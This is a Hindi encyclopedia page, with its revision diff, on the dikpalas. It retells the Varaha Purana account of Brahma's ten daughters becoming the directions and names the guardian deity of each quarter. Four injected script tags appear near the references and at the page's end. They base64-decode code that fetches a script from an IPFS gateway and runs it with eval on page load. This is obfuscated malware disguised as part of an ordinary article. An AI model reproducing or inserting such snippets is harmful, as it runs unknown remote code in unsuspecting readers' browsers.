"दिक्पाल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} *दिक्पाल पुराणों के अनुसार दस दि...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - "अर्थात " to "अर्थात् ")
 
(4 सदस्यों द्वारा किये गये बीच के 10 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
'''दिक्पाल''' [[पुराण|पुराणों]] के अनुसार दस दिशाओं का पालन करने वाले देवगण माने जाते हैं। इनकी संख्या 10 मानी गई है। [[वराह पुराण]] के अनुसार इनकी उत्पत्ति की कथा इस प्रकार है -
*दिक्पाल [[पुराण|पुराणों]] के अनुसार दस दिशाओं का पालन करने वाले देवगण।
+
*जब [[ब्रह्मा]] सृष्टि करने के विचार में चिंतनरत थे, उस समय उनके [[कान]] से दस कन्याएँ उत्पन्न हुईं, जिनमें मुख्य 6 और 4 गौण थीं। 
*इनकी संख्या 10 मानी गई है। बाराह पुराण के अनुसार इनकी उत्पत्ति की कथा इस प्रकार है।
+
# पूर्वा - जो [[पूर्व दिशा]] कहलाई।
*जब [[ब्रह्मा]] सृष्टि करने के विचार में चिंतनरत थे उस समय उनके [[कान]] से दस कन्याएँ-
+
# आग्नेयी - जो [[आग्नेय दिशा]] कहलाई।
# पूर्वा  
+
# दक्षिणा - जो [[दक्षिण दिशा]] कहलाई।
# आग्नेयी
+
# नैऋती - जो [[नैऋत्य दिशा]] कहलाई।
# दक्षिणा
+
# पश्चिमा - जो [[पश्चिम दिशा]] कहलाई।
# नैऋती
+
# वायवी - जो [[वायव्य दिशा]] कहलाई।
# पश्चिमा  
+
# उत्तर - जो [[उत्तर दिशा]] कहलाई।
# वायवी
+
# ऐशानी - जो [[ईशान दिशा]] कहलाई।
# उत्तर
+
# ऊर्ध्व - जो [[ऊर्ध्व दिशा]] कहलाई।
# ऐशानी
+
# अधस्‌ - जो [[अधस्‌ दिशा]] कहलाई।
# ऊद्ध्व
+
*उन कन्याओं ने ब्रह्मा का नमन कर उनसे रहने का स्थान और उपयुक्त पतियों की याचना की।  
# अधस्‌ उत्पन्न हुईं जिनमें मुख्य 6 और 4 गौण थीं।
+
*ब्रह्मा ने कहा- 'तुम लोगों का जिस ओर जाने की इच्छा हो जा सकती हो। शीघ्र ही तुम लोगों को अनुरूप पति भी दूँगा।'
*उन लोगों ने ब्रह्मा का नमन कर उनसे रहने का स्थान और उपयुक्त पतियों की याचना की।  
 
*ब्रह्मा ने कहा तुम लोगों का जिस ओर जाने की इच्छा हो जा सकती हो।  
 
*शीघ्र ही तुम लोगों को अनुरूप पति भी दूँगा।  
 
 
*इसके अनुसार उन कन्याओं ने एक एक दिशा की ओर प्रस्थान किया।  
 
*इसके अनुसार उन कन्याओं ने एक एक दिशा की ओर प्रस्थान किया।  
*इसके पश्चात्‌ ब्रह्मा ने आठ दिग्पालों की सृष्टि की और अपनी कन्याओं को बुलाकर प्रत्येक लोकपाल को एक एक कन्या प्रदान कर दी।  
+
*इसके पश्चात् ब्रह्मा ने आठ दिग्पालों की सृष्टि की और अपनी कन्याओं को बुलाकर प्रत्येक लोकपाल को एक एक कन्या प्रदान कर दी।  
*इसके बाद वे सभी लोकपाल उन कन्याओं में दिशाओं के साथ अपनी दिशाओं में चले गए।  
+
*इसके बाद वे सभी लोकपाल उन कन्याओं के साथ अपनी दिशाओं में चले गए।  
*इन दिग्पालों के नाम पुराणों में दिशाओं के क्रम से निम्नांकित है  
+
*इन दिग्पालों के नाम [[पुराण|पुराणों]] में दिशाओं के क्रम से निम्नांकित है
# पूर्व के इंद्र
+
# पूर्व के [[इंद्र]]
# दक्षिणपूर्व के [[अग्नि पुराण|अग्नि]]
+
# दक्षिणपूर्व के [[अग्नि]]
# दक्षिण के यम
+
# दक्षिण के [[यम]]
# दक्षिण पश्चिम के सूर्य
+
# दक्षिण पश्चिम के [[सूर्य]]
# पश्चिम के वरुण
+
# पश्चिम के [[वरुण]]
# पश्चिमोत्तर के [[वायु पुराण|वायु]],
+
# पश्चिमोत्तर के [[वायु देव|वायु]]
# उत्तर के कुबेर
+
# उत्तर के [[कुबेर]]
# उत्तरपूर्व के सोम।
+
# उत्तरपूर्व के [[सोम देव|सोम]]।
*शेष दो दिशाओं अर्थात्‌ ऊर्ध्व या आकाश की ओर वे स्वयम्‌ चले गए और नीचे की ओर उन्होंने शेष या अनंत को प्रतिष्ठित किया।
+
*शेष दो दिशाओं अर्थात् ऊर्ध्व या आकाश की ओर वे स्वयं चले गए और नीचे की ओर उन्होंने शेष या अनंत को प्रतिष्ठित किया।
  
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
+
{{cite web |url=http://bharatkhoj.org/india/%E0%A4%A6%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%AA%E0%A4%BE%E0%A4%B2|title=दिक्पाल|accessmonthday=3 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
==संबंधित लेख==
{{पुराण2}}
+
{{पौराणिक चरित्र}}
[[Category:नया पन्ना अक्टूबर-2011]]
 
  
 +
[[Category:पौराणिक चरित्र]]
 +
[[Category:पुराण]]
 +
[[Category:हिन्दी विश्वकोश]]
 +
[[Category:पौराणिक कोश]]
 
__INDEX__
 
__INDEX__
[[Category:पुराण]]
+
__NOTOC__

07:55, 7 नवम्बर 2017 के समय का अवतरण

दिक्पाल पुराणों के अनुसार दस दिशाओं का पालन करने वाले देवगण माने जाते हैं। इनकी संख्या 10 मानी गई है। वराह पुराण के अनुसार इनकी उत्पत्ति की कथा इस प्रकार है -

  • जब ब्रह्मा सृष्टि करने के विचार में चिंतनरत थे, उस समय उनके कान से दस कन्याएँ उत्पन्न हुईं, जिनमें मुख्य 6 और 4 गौण थीं।
  1. पूर्वा - जो पूर्व दिशा कहलाई।
  2. आग्नेयी - जो आग्नेय दिशा कहलाई।
  3. दक्षिणा - जो दक्षिण दिशा कहलाई।
  4. नैऋती - जो नैऋत्य दिशा कहलाई।
  5. पश्चिमा - जो पश्चिम दिशा कहलाई।
  6. वायवी - जो वायव्य दिशा कहलाई।
  7. उत्तर - जो उत्तर दिशा कहलाई।
  8. ऐशानी - जो ईशान दिशा कहलाई।
  9. ऊर्ध्व - जो ऊर्ध्व दिशा कहलाई।
  10. अधस्‌ - जो अधस्‌ दिशा कहलाई।
  • उन कन्याओं ने ब्रह्मा का नमन कर उनसे रहने का स्थान और उपयुक्त पतियों की याचना की।
  • ब्रह्मा ने कहा- 'तुम लोगों का जिस ओर जाने की इच्छा हो जा सकती हो। शीघ्र ही तुम लोगों को अनुरूप पति भी दूँगा।'
  • इसके अनुसार उन कन्याओं ने एक एक दिशा की ओर प्रस्थान किया।
  • इसके पश्चात् ब्रह्मा ने आठ दिग्पालों की सृष्टि की और अपनी कन्याओं को बुलाकर प्रत्येक लोकपाल को एक एक कन्या प्रदान कर दी।
  • इसके बाद वे सभी लोकपाल उन कन्याओं के साथ अपनी दिशाओं में चले गए।
  • इन दिग्पालों के नाम पुराणों में दिशाओं के क्रम से निम्नांकित है-
  1. पूर्व के इंद्र
  2. दक्षिणपूर्व के अग्नि
  3. दक्षिण के यम
  4. दक्षिण पश्चिम के सूर्य
  5. पश्चिम के वरुण
  6. पश्चिमोत्तर के वायु
  7. उत्तर के कुबेर
  8. उत्तरपूर्व के सोम
  • शेष दो दिशाओं अर्थात् ऊर्ध्व या आकाश की ओर वे स्वयं चले गए और नीचे की ओर उन्होंने शेष या अनंत को प्रतिष्ठित किया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


दिक्पाल (हिंदी)। । अभिगमन तिथि: 3 अक्टूबर, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>